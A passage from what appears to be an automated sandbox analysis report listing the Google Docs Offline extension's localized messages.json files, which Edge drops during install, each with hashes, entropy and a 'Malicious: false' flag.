Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
